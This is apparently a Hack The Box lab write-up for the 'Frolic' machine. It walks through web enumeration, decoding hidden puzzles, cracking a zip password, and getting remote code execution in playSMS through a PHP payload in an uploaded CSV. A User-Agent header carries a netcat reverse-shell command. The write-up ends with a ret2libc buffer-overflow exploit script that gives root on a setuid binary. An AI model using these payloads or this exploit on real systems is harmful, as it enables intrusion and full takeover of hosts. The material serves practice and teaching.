Frolic
This is another Hack The Box machine that has a web application that has a vulnerability that allows for remote code execution (RCE). There's also a privilege escalation that is achived through a stack buffer overflow and using return oriented programming (ROP) technique.
For the reverse engineering part of the machine, Radare2 is used to analyze the binary and locate all of the necessary aspects.
Credentials
These are credentials found in different parts of the host
admin
:imnothuman
admin
:superduperlooperpassword_lol
admin
:idkwhatispass
Port Scan
There are 5 open ports that were found:
- 22/tcp OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
- 139/tcp Samba smbd 3.X – 4.X (workgroup: WORKGROUP)
- 445/tcp Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
- 1880/tcp Node.js (Express middleware)
- 9999/tcp nginx 1.10.3 (Ubuntu)
The Samba service is not exposing any shares that can provide more information. Further checking the website found on port 9999/tcp.
Website
Accessing the on port 9999/tcp shows the default nginx installation page and points to the domain frolic.htb
and pointing to the port 1880/tcp, however, that port only shows a Node-RED
login and no credentials.
Running a ffuf scan with the command ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -u http://frolic.htb:9999/FUZZ -o scans/ffuf.9999.json -c -ic -v -r -replay-proxy http://127.0.0.1:8080
shows the following relevant results
http://frolic.htb:9999/admin
http://frolic.htb:9999/backup
http://frolic.htb:9999/dev
http://frolic.htb:9999/test
http://frolic.htb:9999/loop
Upon further investigation on those URLs, the only relevant ones are
http://frolic.htb:9999/admin
http://frolic.htb:9999/backup
The backup directory points to two plain text files that contain credentials.
The admin page shows a login form and the JavaScript found at the URL http://frolic.htb:9999/admin/js/login.js
contains the credentials in clear text
var attempt = 3; // Variable to count number of attempts.
// Below function Executes on click of login button.
function validate(){
var username = document.getElementById("username").value;
var password = document.getElementById("password").value;
if ( username == "admin" && password == "superduperlooperpassword_lol"){
alert ("Login successfully");
window.location = "success.html"; // Redirecting to other page.
return false;
}
else{
attempt --;// Decrementing by one.
alert("You have left "+attempt+" attempt;");
// Disabling fields after 3 attempts.
if( attempt == 0){
document.getElementById("username").disabled = true;
document.getElementById("password").disabled = true;
document.getElementById("submit").disabled = true;
return false;
}
}
}
It also points to the page http://frolic.htb:9999/admin/success.html
that contains the following Ook code, which is a rewrite of brainfuck.
..... ..... ..... .!?!! .?... ..... ..... ...?. ?!.?. ..... ..... .....
..... ..... ..!.? ..... ..... .!?!! .?... ..... ..?.? !.?.. ..... .....
....! ..... ..... .!.?. ..... .!?!! .?!!! !!!?. ?!.?! !!!!! !...! .....
..... .!.!! !!!!! !!!!! !!!.? ..... ..... ..... ..!?! !.?!! !!!!! !!!!!
!!!!? .?!.? !!!!! !!!!! !!!!! .?... ..... ..... ....! ?!!.? ..... .....
..... .?.?! .?... ..... ..... ...!. !!!!! !!.?. ..... .!?!! .?... ...?.
?!.?. ..... ..!.? ..... ..!?! !.?!! !!!!? .?!.? !!!!! !!!!. ?.... .....
..... ...!? !!.?! !!!!! !!!!! !!!!! ?.?!. ?!!!! !!!!! !!.?. ..... .....
..... .!?!! .?... ..... ..... ...?. ?!.?. ..... !.... ..... ..!.! !!!!!
!.!!! !!... ..... ..... ....! .?... ..... ..... ....! ?!!.? !!!!! !!!!!
!!!!! !?.?! .?!!! !!!!! !!!!! !!!!! !!!!! .?... ....! ?!!.? ..... .?.?!
.?... ..... ....! .?... ..... ..... ..!?! !.?.. ..... ..... ..?.? !.?..
!.?.. ..... ..!?! !.?.. ..... .?.?! .?... .!.?. ..... .!?!! .?!!! !!!?.
?!.?! !!!!! !!!!! !!... ..... ...!. ?.... ..... !?!!. ?!!!! !!!!? .?!.?
!!!!! !!!!! !!!.? ..... ..!?! !.?!! !!!!? .?!.? !!!.! !!!!! !!!!! !!!!!
!.... ..... ..... ..... !.!.? ..... ..... .!?!! .?!!! !!!!! !!?.? !.?!!
!.?.. ..... ....! ?!!.? ..... ..... ?.?!. ?.... ..... ..... ..!.. .....
..... .!.?. ..... ...!? !!.?! !!!!! !!?.? !.?!! !!!.? ..... ..!?! !.?!!
!!!!? .?!.? !!!!! !!.?. ..... ...!? !!.?. ..... ..?.? !.?.. !.!!! !!!!!
!!!!! !!!!! !.?.. ..... ..!?! !.?.. ..... .?.?! .?... .!.?. ..... .....
..... .!?!! .?!!! !!!!! !!!!! !!!?. ?!.?! !!!!! !!!!! !!.!! !!!!! .....
..!.! !!!!! !.?.
After decoding the message Nothing here check /asdiSIAJJ0QWE9JAS
is obtained, the last part is another page within the website.
The page that is found in the URL http://frolic.htb:9999/asdiSIAJJ0QWE9JAS/
contains a Base64 encoded string
UEsDBBQACQAIAMOJN00j/lsUsAAAAGkCAAAJABwAaW5kZXgucGhwVVQJAAOFfKdbhXynW3V4CwAB
BAAAAAAEAAAAAF5E5hBKn3OyaIopmhuVUPBuC6m/U3PkAkp3GhHcjuWgNOL22Y9r7nrQEopVyJbs
K1i6f+BQyOES4baHpOrQu+J4XxPATolb/Y2EU6rqOPKD8uIPkUoyU8cqgwNE0I19kzhkVA5RAmve
EMrX4+T7al+fi/kY6ZTAJ3h/Y5DCFt2PdL6yNzVRrAuaigMOlRBrAyw0tdliKb40RrXpBgn/uoTj
lurp78cmcTJviFfUnOM5UEsHCCP+WxSwAAAAaQIAAFBLAQIeAxQACQAIAMOJN00j/lsUsAAAAGkC
AAAJABgAAAAAAAEAAACkgQAAAABpbmRleC5waHBVVAUAA4V8p1t1eAsAAQQAAAAABAAAAABQSwUG
AAAAAAEAAQBPAAAAAwEAAAAA
The encoded string is downloaded and decoded with the command curl http://frolic.htb:9999/asdiSIAJJ0QWE9JAS/ | base64 -d | xxd
and shows that it's a binary file
504b0304140009000800c389374d23fe5b14b00000006902000009001c00
696e6465782e7068705554090003857ca75b857ca75b75780b0001040000
000004000000005e44e6104a9f73b2688a299a1b9550f06e0ba9bf5373e4
024a771a11dc8ee5a034e2f6d98f6bee7ad0128a55c896ec2b58ba7fe050
c8e112e1b687a4ead0bbe2785f13c04e895bfd8d8453aaea38f283f2e20f
914a3253c72a830344d08d7d933864540e51026bde10cad7e3e4fb6a5f9f
8bf918e994c027787f6390c216dd8f74beb2373551ac0b9a8a030e95106b
032c34b5d96229be3446b5e90609ffba84e396eae9efc72671326f8857d4
9ce339504b070823fe5b14b000000069020000504b01021e031400090008
00c389374d23fe5b14b000000069020000090018000000000001000000a4
8100000000696e6465782e7068705554050003857ca75b75780b00010400
0000000400000000504b050600000000010001004f000000030100000000
The file is then downloaded and stored in a zip file with the command curl http://frolic.htb:9999/asdiSIAJJ0QWE9JAS/ | base64 -d > evidence/data/asdiSIAJJ0QWE9JAS.zip
.
The archive is password protected, though it appears to contain a single index.php
file.
Attempting to crack the password by using John with the following steps
- Create a usable hash for cracking with John by using the command
zip2john evidence/data/asdiSIAJJ0QWE9JAS.zip | tee evidence/data/asdiSIAJJ0QWE9JAS.zip.hash
- Start the John container with the command
podman run -v ./evidence/data:/opt/cracking -it --rm --entrypoint bash docker.io/obscuritylabs/johntheripper
- Crack the hash by using the command
./john --format=PKZIP --wordlist /opt/cracking/rockyou.txt /opt/cracking/asdiSIAJJ0QWE9JAS.zip.hash
root@fb3af4a2ae0c:/opt/john/run# ./john --format=PKZIP --wordlist /opt/cracking/rockyou.txt /opt/cracking/asdiSIAJJ0QWE9JAS.zip.hash
Warning: invalid UTF-8 seen reading /opt/cracking/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
password (asdiSIAJJ0QWE9JAS.zip/index.php)
1g 0:00:00:00 DONE (2021-06-05 16:19) 100.0g/s 354600p/s 354600c/s 354600C/s 123456..sss
Use the "--show" option to display all of the cracked passwords reliably
Session completed
The password password
is used to extract the file from the zip archive
❯ 7z x asdiSIAJJ0QWE9JAS.zip
7-Zip [64] 17.04 : Copyright (c) 1999-2021 Igor Pavlov : 2017-08-28
p7zip Version 17.04 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,2 CPUs x64)
Scanning the drive for archives:
1 file, 360 bytes (1 KiB)
Extracting archive: asdiSIAJJ0QWE9JAS.zip
--
Path = asdiSIAJJ0QWE9JAS.zip
Type = zip
Physical Size = 360
Enter password (will not be echoed):
Everything is Ok
Size: 617
Compressed: 360
The contents of the index.php
file is a hex string
4b7973724b7973674b7973724b7973675779302b4b7973674b7973724b7973674b79737250463067506973724b7973674b7934744c5330674c5330754b7973674b7973724b7973674c6a77720d0a4b7973675779302b4b7973674b7a78645069734b4b797375504373674b7974624c5434674c53307450463067506930744c5330674c5330754c5330674c5330744c5330674c6a77724b7973670d0a4b317374506973674b79737250463067506973724b793467504373724b3173674c5434744c53304b5046302b4c5330674c6a77724b7973675779302b4b7973674b7a7864506973674c6930740d0a4c533467504373724b3173674c5434744c5330675046302b4c5330674c5330744c533467504373724b7973675779302b4b7973674b7973385854344b4b7973754c6a776743673d3d0d0a
Decoding the hex string is done with the command xxd -r -p index.php
and reveals a Base64 encoded string
KysrKysgKysrKysgWy0+KysgKysrKysgKysrPF0gPisrKysgKy4tLS0gLS0uKysgKysrKysgLjwr
KysgWy0+KysgKzxdPisKKysuPCsgKytbLT4gLS0tPF0gPi0tLS0gLS0uLS0gLS0tLS0gLjwrKysg
K1stPisgKysrPF0gPisrKy4gPCsrK1sgLT4tLS0KPF0+LS0gLjwrKysgWy0+KysgKzxdPisgLi0t
LS4gPCsrK1sgLT4tLS0gPF0+LS0gLS0tLS4gPCsrKysgWy0+KysgKys8XT4KKysuLjwgCg==
By using the command cat index.php | xxd -r -p | tr -d '\r\n' | base64 -d
the decoded data is obtained
+++++ +++++ [->++ +++++ +++<] >++++ +.--- --.++ +++++ .<+++ [->++ +<]>+
++.<+ ++[-> ---<] >---- --.-- ----- .<+++ +[->+ +++<] >+++. <+++[ ->---
<]>-- .<+++ [->++ +<]>+ .---. <+++[ ->--- <]>-- ----. <++++ [->++ ++<]>
++..<
By decoding the brainfuck code, the string idkwhatispass
is obtained.
Further scanning is done with the ffuf command that scans recursively to locate any other directories/pages that weren't found on the first scan
ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -recursion -recursion-depth 1 -u http://frolic.htb:9999/FUZZ -c -ic -v -replay-proxy http://127.0.0.1:8080 -o scans/ffuf.recursive.9999.json
One relevant result is found in the URL http://frolic.htb:9999/dev/backup/
where the page only has the string /playsms
and accessing the URL http://frolic.htb:9999/playsms
shows the playSMS page.
playSMS Service
By using the credentials that were found, access was gained to the playSMS service with an admin account.
Unable to successfully determine the version of playSMS that is being used, it is assumed that one of the file upload vulnerabilities for version 1.4 may work
---------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
---------------------------------------------------------------------------------------- ---------------------------------
PlaySMS - 'import.php' (Authenticated) CSV File Upload Code Execution (Metasploit) | php/remote/44598.rb
PlaySMS - index.php Unauthenticated Template Injection Code Execution (Metasploit) | php/remote/48335.rb
PlaySms 0.7 - SQL Injection | linux/remote/404.pl
PlaySms 0.8 - 'index.php' Cross-Site Scripting | php/webapps/26871.txt
PlaySms 0.9.3 - Multiple Local/Remote File Inclusions | php/webapps/7687.txt
PlaySms 0.9.5.2 - Remote File Inclusion | php/webapps/17792.txt
PlaySms 0.9.9.2 - Cross-Site Request Forgery | php/webapps/30177.txt
PlaySMS 1.4 - '/sendfromfile.php' Remote Code Execution / Unrestricted File Upload | php/webapps/42003.txt
PlaySMS 1.4 - 'import.php' Remote Code Execution | php/webapps/42044.txt
PlaySMS 1.4 - 'sendfromfile.php?Filename' (Authenticated) 'Code Execution (Metasploit) | php/remote/44599.rb
PlaySMS 1.4 - Remote Code Execution | php/webapps/42038.txt
PlaySMS 1.4.3 - Template Injection / Remote Code Execution | php/webapps/48199.txt
---------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
Papers: No Results
Attempting to use the exploit 42003, which points to a CSV file upload that is unverified and allows for RCE. However, this was unsuccessful, it appears that the application does check for a valid filename and doesn't execute any PHP code on the filename.
Attempting to use the exploit 42044, this also uses a CSV file that is uploaded to the Phonebook, which is accessible via My Account -> Phonebook
.
The exploit relies on the header value of the User-Agent in the request being changed and then it is executed by the page, there is no file written to disk.
The contents of the CSV file is shown below
Name,Mobile,Email,Group code,Tags
<?php $t=$_SERVER['HTTP_USER_AGENT']; system($t); ?>,2,,,
The request header in the upload process is then changed to
POST http://frolic.htb:9999/playsms/index.php?app=main&inc=feature_phonebook&route=import&op=import HTTP/1.1
Host: frolic.htb:9999
User-Agent: id; hostname
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Content-Type: multipart/form-data; boundary=---------------------------72950579317560938561223174980
Content-Length: 457
Origin: http://frolic.htb:9999
DNT: 1
Connection: keep-alive
Referer: http://frolic.htb:9999/playsms/index.php?app=main&inc=feature_phonebook&route=import&op=list
Cookie: PHPSESSID=6rl9keisf6lf85dib15uvtgve1
Upgrade-Insecure-Requests: 1
The result is the page that confirms the upload shows the output of the command.
In order to establish a reverse shell, the following request is sent in this process
POST http://frolic.htb:9999/playsms/index.php?app=main&inc=feature_phonebook&route=import&op=import HTTP/1.1
Host: frolic.htb:9999
User-Agent: rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.62 4444 >/tmp/f
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Content-Type: multipart/form-data; boundary=---------------------------93784517437469769342519032468
Content-Length: 457
Origin: http://frolic.htb:9999
DNT: 1
Connection: keep-alive
Referer: http://frolic.htb:9999/playsms/index.php?app=main&inc=feature_phonebook&route=import&op=list
Cookie: PHPSESSID=6rl9keisf6lf85dib15uvtgve1
Upgrade-Insecure-Requests: 1
-----------------------------93784517437469769342519032468
Content-Disposition: form-data; name="X-CSRF-Token"
56cecb3aafb890acde113ea8ba5ef2ab
-----------------------------93784517437469769342519032468
Content-Disposition: form-data; name="fnpb"; filename="test.csv"
Content-Type: text/csv
Name,Mobile,Email,Group code,Tags
<?php $t=$_SERVER['HTTP_USER_AGENT']; system($t); ?>,2,,,
-----------------------------93784517437469769342519032468--
This manages to successfully establish the reverse shell as the www-data
user
❯ nc -lvnp 4444
Listening on 0.0.0.0 4444
Connection received on 10.129.163.216 52410
/bin/sh: 0: can't access tty; job control turned off
$ id; hostname; pwd
uid=33(www-data) gid=33(www-data) groups=33(www-data)
frolic
/var/www/html/playsms
$
The config.php
file contains the credentials for the MySQL database
<?php
// PHP PEAR DB compatible database engine:
// mysql, mysqli, pgsql, odbc and others supported by PHP PEAR DB
$core_config['db']['type'] = 'mysqli'; // database engine
$core_config['db']['host'] = 'localhost'; // database host/server
$core_config['db']['port'] = '3306'; // database port
$core_config['db']['user'] = 'root'; // database username
$core_config['db']['pass'] = 'ayush'; // database password
$core_config['db']['name'] = 'playsms'; // database name
Shell Access
www-data
The reverse shell is obtained with the user www-data
and the user flag is readable by this service account
$ ls -la /home/ayush
total 36
drwxr-xr-x 3 ayush ayush 4096 Sep 25 2018 .
drwxr-xr-x 4 root root 4096 Sep 23 2018 ..
-rw------- 1 ayush ayush 2781 Sep 25 2018 .bash_history
-rw-r--r-- 1 ayush ayush 220 Sep 23 2018 .bash_logout
-rw-r--r-- 1 ayush ayush 3771 Sep 23 2018 .bashrc
drwxrwxr-x 2 ayush ayush 4096 Sep 25 2018 .binary
-rw-r--r-- 1 ayush ayush 655 Sep 23 2018 .profile
-rw------- 1 ayush ayush 965 Sep 25 2018 .viminfo
-rwxr-xr-x 1 ayush ayush 33 Sep 25 2018 user.txt
$ cat /home/ayush/user.txt
2ab95909cf509f85a6f476b59a0c2fe0
One directory that appears to be out of the default or ordinary directory structure for the user's home is .binary
$ ls -Al /home/ayush/.binary
total 8
-rwsr-xr-x 1 root root 7480 Sep 25 2018 rop
$ file /home/ayush/.binary/rop
/home/ayush/.binary/rop: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=59da91c100d138c662b77627b65efbbc9f797394, not stripped
Privilege Escalation
The binary rop
(MD5 001d6cf82093a0d716587169e019de7d
) is downloaded from the remote system for further analysis.
When executing the program, it shows the following message
$ /home/ayush/.binary/rop
[*] Usage: program <message>
When adding any string, as mentioned in the usage message, it simply prints it to the screen.
The Radare2 container has the 32-bit libraries necessary to run the binary, this can be done by executing the following command
podman run -v ./:/mnt -it --rm --cap-drop=ALL --cap-add=SYS_PTRACE --entrypoint bash docker.io/radare/radare2
Loading the binary in Radare2 for assembly analysis, it shows that there are two relevant functions within the binary, the main
and sym.vuln
.
The main
function checks if the parameter count is greater than 1 and then calls the sym.vuln
function, otherwise it prints the usage message and exits the application.
0x080484b6 83c410 add esp, 0x10
0x080484b9 833b01 cmp dword [ebx], 1 ; Check if parameter count is equal to 1
.--< 0x080484bc 7f17 jg 0x80484d5 ; jump if parameter count is greater than 1
| 0x080484be 83ec0c sub esp, 0xc
| 0x080484c1 68c0850408 push str.___Usage:_program__message_ ; 0x80485c0 ; "[*] Usage: program <message>" ; const char *s
| 0x080484c6 e895feffff call sym.imp.puts ; int puts(const char *s)
| 0x080484cb 83c410 add esp, 0x10
| 0x080484ce b8ffffffff mov eax, 0xffffffff ; -1
| 0x080484d3 eb19 jmp 0x80484ee ; jumps to exit
| ; CODE XREF from main @ 0x80484bc
'--> 0x080484d5 8b4304 mov eax, dword [ebx + 4]
0x080484d8 83c004 add eax, 4
0x080484db 8b00 mov eax, dword [eax]
0x080484dd 83ec0c sub esp, 0xc
0x080484e0 50 push eax ; int32_t arg_8h
0x080484e1 e812000000 call sym.vuln ; Call to function that prints the entered value to the screen
The sym.vuln
function uses the function strcpy
without any validation of data being passed in the arguments and this is where the BoF takes place
┌ 58: sym.vuln (char *src);
│ ; var char *format @ ebp-0x30
│ ; arg char *src @ ebp+0x8
│ 0x080484f8 55 push ebp
│ 0x080484f9 89e5 mov ebp, esp
│ 0x080484fb 83ec38 sub esp, 0x38
│ 0x080484fe 83ec08 sub esp, 8
│ 0x08048501 ff7508 push dword [src] ; const char *src
│ 0x08048504 8d45d0 lea eax, [format]
│ 0x08048507 50 push eax ; char *dest
│ 0x08048508 e843feffff call sym.imp.strcpy ; char *strcpy(char *dest, const char *src)
│ 0x0804850d 83c410 add esp, 0x10
│ 0x08048510 83ec0c sub esp, 0xc
│ 0x08048513 68dd850408 push str.___Message_sent:_ ; 0x80485dd ; "[+] Message sent: " ; const char *format
│ 0x08048518 e823feffff call sym.imp.printf ; int printf(const char *format)
│ 0x0804851d 83c410 add esp, 0x10
│ 0x08048520 83ec0c sub esp, 0xc
│ 0x08048523 8d45d0 lea eax, [format]
│ 0x08048526 50 push eax ; const char *format
│ 0x08048527 e814feffff call sym.imp.printf ; int printf(const char *format)
│ 0x0804852c 83c410 add esp, 0x10
│ 0x0804852f 90 nop
│ 0x08048530 c9 leave
└ 0x08048531 c3 ret
The instruction at the address 0x080484fb
shows that there is memory being allocated, this by subtracting 0x38
from the value of the esp
register, this shows that there are 56 bytes being allocated.
By creating a De Bruijn string with the command ragg2 -rP 56
, it is possible to obtain the specific amount of bytes needed for the buffer overflow, the string that is generated is AAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAANAAOAAPAAQAARAASA
and below is how the binary is executed within Radare2
[0xf7f79549]> doo AAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAANAAOAAPAAQAARAASA
Process with PID 7 started...
= attach 7 7
File dbg:///mnt/rop AAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAANAAOAAPAAQAARAASA reopened in read-write mode
7
[0xf7f0a0b0]> dc
[+] SIGNAL 11 errno=0 addr=0x41534141 code=1 si_pid=1095975233 ret=0
Now check the registers with the command dr=
[0x41534141]> dr=
eax 0x00000038 ebx 0xffba42b0 ecx 0x00000000 edx 0xf7ef9890
esi 0xf7ef8000 edi 0xf7ef8000 esp 0xffba4280 ebp 0x52414151
eip 0x41534141 eflags 0x00010282 oeax 0xffffffff
The eip
register is the one that is relevant in this case, this value is what specifies the amount of padding needed to generate the BoF and where to start with the payload, the output below shows the amount of bytes that are needed
[0x41534141]> wopO `dr eip`
52
This can be confirmed by generating a new string that has 52 A
and 4 B
characters, this can be done by running the command python -c "print('A'*52 + 'BBBB')"
, when using this string on the application the eip
register should have the value 0x42424242
[0x41534141]> doo AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
Process with PID 8 started...
= attach 8 8
File dbg:///mnt/rop AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB reopened in read-write mode
8
[0xf7ef70b0]> dc
[+] SIGNAL 11 errno=0 addr=0x42424242 code=1 si_pid=1111638594 ret=0
[0x42424242]> drr
role reg value refstr
―――――――――――――――――――――――――――
A0 eax 38 56 .shstrtab eax ascii ('8')
A1 ebx ffee7680 [stack] ebx stack R W 0x2
A2 ecx 0 0
A3 edx f7ee6890 edx
esi f7ee5000 esi,edi
edi f7ee5000 esi,edi
SP esp ffee7650 [stack] esp stack R W 0xffee7800
BP ebp 41414141 ebp ascii ('A')
PC eip 42424242 eip ascii ('B')
xfs 0 0
xgs 63 99 .shstrtab ascii ('c')
xcs 23 35 .comment ascii ('#')
xss 2b 43 .comment ascii ('+')
eflags 10282 eflags
SN oeax ffffffff -1 oeax
Checking the binary details with the i
command, it shows that the nx
is enabled, for this reason it is necessary to create a ROP chain to spawn a shell that gives access to the root account.
Due to this flag that is enabled, it is necessary to search for a couple of objects in the libc.so.6
library that is running on the target host, the following steps are followed
- Obtain the memory address of the
libc.so.6
library with the commandldd rop
, for this instance the address is0xb7e19000
and the path of the library is/lib/i386-linux-gnu/libc.so.6
- Obtain the offset address of the
system
function with the commandreadelf -s /lib/i386-linux-gnu/libc.so.6 | grep "system"
, for this instance the offset is0x0003ada0
- Obtain the offset address of the
exit
function with the commandreadelf -s /lib/i386-linux-gnu/libc.so.6 | grep "exit"
, for this instance the offset is0x0002e9d0
- Obtain the offset address of the
/bin/sh
string with the commandstrings -tx /lib/i386-linux-gnu/libc.so.6 | grep "/bin/sh"
, for this instance the offset is0x15ba0b
Below is the output of all the commands mentioned in the steps above
$ ldd rop
linux-gate.so.1 => (0xb7fda000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7e19000)
/lib/ld-linux.so.2 (0xb7fdb000)
$ readelf -s /lib/i386-linux-gnu/libc.so.6 | grep "system"
245: 00112f20 68 FUNC GLOBAL DEFAULT 13 svcerr_systemerr@@GLIBC_2.0
627: 0003ada0 55 FUNC GLOBAL DEFAULT 13 __libc_system@@GLIBC_PRIVATE
1457: 0003ada0 55 FUNC WEAK DEFAULT 13 system@@GLIBC_2.0
$ readelf -s /lib/i386-linux-gnu/libc.so.6 | grep "exit"
112: 0002edc0 39 FUNC GLOBAL DEFAULT 13 __cxa_at_quick_exit@@GLIBC_2.10
141: 0002e9d0 31 FUNC GLOBAL DEFAULT 13 exit@@GLIBC_2.0
450: 0002edf0 197 FUNC GLOBAL DEFAULT 13 __cxa_thread_atexit_impl@@GLIBC_2.18
558: 000b07c8 24 FUNC GLOBAL DEFAULT 13 _exit@@GLIBC_2.0
616: 00115fa0 56 FUNC GLOBAL DEFAULT 13 svc_exit@@GLIBC_2.0
652: 0002eda0 31 FUNC GLOBAL DEFAULT 13 quick_exit@@GLIBC_2.10
876: 0002ebf0 85 FUNC GLOBAL DEFAULT 13 __cxa_atexit@@GLIBC_2.1.3
1046: 0011fb80 52 FUNC GLOBAL DEFAULT 13 atexit@GLIBC_2.0
1394: 001b2204 4 OBJECT GLOBAL DEFAULT 33 argp_err_exit_status@@GLIBC_2.1
1506: 000f3870 58 FUNC GLOBAL DEFAULT 13 pthread_exit@@GLIBC_2.0
2108: 001b2154 4 OBJECT GLOBAL DEFAULT 33 obstack_exit_failure@@GLIBC_2.0
2263: 0002e9f0 78 FUNC WEAK DEFAULT 13 on_exit@@GLIBC_2.0
2406: 000f4c80 2 FUNC GLOBAL DEFAULT 13 __cyg_profile_func_exit@@GLIBC_2.2
$ strings -tx /lib/i386-linux-gnu/libc.so.6 | grep "/bin/sh"
15ba0b /bin/sh
All of the offsets need to be added to the address for the libc.so.6
library in order to obtain the necessary values
[0x42424242]> ?v 0xb7e19000 + 0x0003ada0
0xb7e53da0
[0x42424242]> ?v 0xb7e19000 + 0x0002e9d0
0xb7e479d0
[0x42424242]> ?v 0xb7e19000 + 0x15ba0b
0xb7f74a0b
These values can now be used in a python script to generate the payload that can be used to exploit the binary and achieve privilege escalation
from struct import pack
from base64 import b64encode
padding = b'A' * 52
system_address = pack('<I', 0xb7e53da0)
exit_address = pack('<I', 0xb7e479d0)
bin_sh_address = pack('<I', 0xb7f74a0b)
payload = padding + system_address + exit_address + bin_sh_address
print(b64encode(payload).decode())
The output string is encoded in Base64, which makes it easier to copy it over to the target host to exploit the binary
$ ./rop $(echo QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQaA95bfQeeS3C0r3tw== | base64 -d)
The command above manages to successfully exploit the BoF vulnerability in the binary and privilege escalation is achieved via this method.